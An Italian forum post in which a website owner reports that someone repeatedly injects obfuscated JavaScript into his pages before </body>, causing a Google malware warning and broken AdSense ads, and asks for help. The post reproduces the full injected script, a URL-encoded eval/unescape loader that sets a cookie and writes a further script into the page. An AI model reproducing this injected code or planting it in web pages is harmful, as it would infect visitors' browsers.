Ciao a tutti,
E' un po' di tempo che mi affligge un problema molto fastidioso sul mio dominio.
dragonstars.it
Periodicamente qualcuno inietta del codice javascript criptato, poco prima dello </body>.
<script language="javascript">$="%64d%3d%22}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950&5##950%2522&M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209M+}Sx%22;st%3d%22%2573%2574%253d%2522$%253ds%2574;%2564%2563s%2528%2564%2561+%2564%2562+%2564%2563+%2564d%252bd%2565%252c%2531%2530%2529;%2564w%2528s%2574%2529%253bs%2574%253d$%253b%2522%253b%22;cb%3d%2265(d%2573);%2573t%253dt%256dp%253d%2527%2527;f%256fr(i%253d%2530;%2569%253cds.%25%22;cc%3d%226ceng%2574h%253b%2569+%252b){%2574m%2570%253dds.s%256c%2569ce(%2569,i%252b1)%25%22;cd%3d%223bs%2574%253dst+%2553t%2572i%256eg.f%2572om%2543har%2543ode%2528(tm%2570%252e%22;ca%3d%22%2566%2575%256e%2563ti%256fn%2520dc%2573(ds%252ces)%257bds%253d%2575nes%2563ap%25%22;cu%3d%22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;bqgx{l:w{y;xp;sfv;64c}p`|)%25$$4|q}s|`),$*(;}rfuyq*(;p}b*%22;dc%3d%220d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi899+yv8d)K7t7M,%25209d)K7t7M-!+d)K7}7M-t)%3ewud]%257F~dx89;!+ve~sdy%257F~0S]^8t%3c}%3ci9kfqb0b-888i;8#:t99;8}Nt9:#9;t9+budeb~0b+mfqb0t-7fuc|%257Fh%3es%257F}7+fqb0iSx!%3ciSx%2522%3c%22;op%3d%22%2524%253d%2522dw(dcs(%2563%2575%252c%25314)%2529%253b%2522;%22;da%3d%22fqb0})-~ug0Qbbqi87e~%257F7%3c7tfu7%3c7dxb7%3c7vyb7%3c7fyv7%3c7huc7%3c7fuc7%3c7wxd7%3c7u~y7%3c7ud~7%3c7|uf7%3c7dgu79+fqb0|)-~ug0Qbbqi87q7%3c7r7%3c7s7%3c7t7%3c7u7%3c7v7%3c7w7%3c7x7%3c7y7%3c7z7%3c7{7%3c7|7%3c7}7%3c7~7%3c7%257F7%3c7`7%3c7a7%3c7b7%3c7c7%3c7%22;db%3d%22d7%3c7e7%3c7f7%3c7g7%3c7h7%3c7i7%3c7j79+fqb0~)-~ug0Qbbqi8!%3c%2522%3c#%3c$%3c%25%3c&%3c%27%3c(%3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)%3ewudVe||Iuqb89+yv8t)%3ewudTqi89.#9d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi89;%25229+u|cu%22;de%3d%22-|)K88d)K7}7M;}^}950%2522%259M+yv888d)K7t7M:%25229.-%252096688d)K7t7M:%25229,-)99tSx-~)K8d)K7t7M50!%25209M+u|cu0tSx-|)K88d)K7t7M:&950%2522%279M+4-4%3ebu`|qsu8t%3ciSx%2522;}Sx;iSx!;tSx;})Kd)K7}7M%3d!M;7%3es%257F}79+%22;dz%3d%22%2566unc%2574io%256e d%2577%2528t){%2563%2561%253d%2527%252564%25256fcu%25256de%2525%2536%2565%252574.%2577%25257%2532it%25256%2535%2528%25252%2532%2527;%2563e%253d%2527%252522)%2527;cb%253d%2527%25253c%252573cr%252569%252570t %25256c%252561%256eg%2525%2537%2535ag%2565%25253d%25255c%252522jav%2561%25257%2533c%2572i%252570t%25255c%252522%25253e%2527;c%2563%253d%2527%25253c%25255c%25252fscr%2569p%252574%25253e%2527;ev%2561%256c%2528%2575nes%2563ape%2528t)%2529};%22;cz%3d%22%2566%2575n%2563tio%256e c%257a(cz%2529%257br%2565t%2575rn %2563%2561+c%2562+%2563c+c%2564+%2563e+c%257a;}%253b%22;ce%3d%22cha%2572%2543od%2565A%2574(%2530)%255e(%25270x0%2530%2527+e%2573%2529));%257d}%22;%69f %28%64oc%75men%74.%63o%6fkie%2eind%65x%4ff(%27vbu%6clet%69%6e_mu%6ct%69quo%74e%3d%27)%3d%3d-1){sc(%27vbull%65t%69n_m%75l%74iqu%6fte%3d%27,%32,%37);e%76al(%75%6ee%73cap%65(d%7a+%63%7a+op%2bst)%2b%27dw(%64z%2bc%7a($+%73%74%29%29;%27)}e%6cs%65%7b%24%3d%27%27};funct%69%6fn %73%63(%63n%6d,%76,ed%29{v%61%72%20e%78d%3dnew %44at%65()%3b%65xd%2eset%44ate%28exd%2eg%65tDa%74e%28)+%65d);%64o%63%75m%65n%74.c%6fok%69e%3dcn%6d+ %27%3d%27 +esc%61p%65(v)%2b%27;e%78p%69res%3d%27+exd.%74%6fGMT%53%74ri%6e%67(%29;%7d;";eval(unescape($));document.write($);</script>
Primo non capisco cosa sia.
Secondo e molto più importante, Google mi segnala il sito nelle query di ricerca con il tristemente famoso avvertimento "Questo sito potrebbe arrecare danni al tuo computer." provocandomi consistenti danni.
Provare per credere: cercate dragonball su google.
Adesso l'ho tolto quel codice maligno.
Però succede un fenomeno molto strano. Quando me lo iniettano, gli annunci AdSense scompaiono dalla pagina, e il codice relativo risulta modificato.
Oltretutto quando lo rimetto (identico alle altre pagine) gli annunci di destra si vedono con un errore, non rispettando le impostazioni grafiche che avevo indicato.
Qualcuno sa darmi una mano?
E' possibile che sia un problema di sicurezza di Aruba?
O può essere un baco del codice AdSense che viene regolarmente bucato?
Grazie
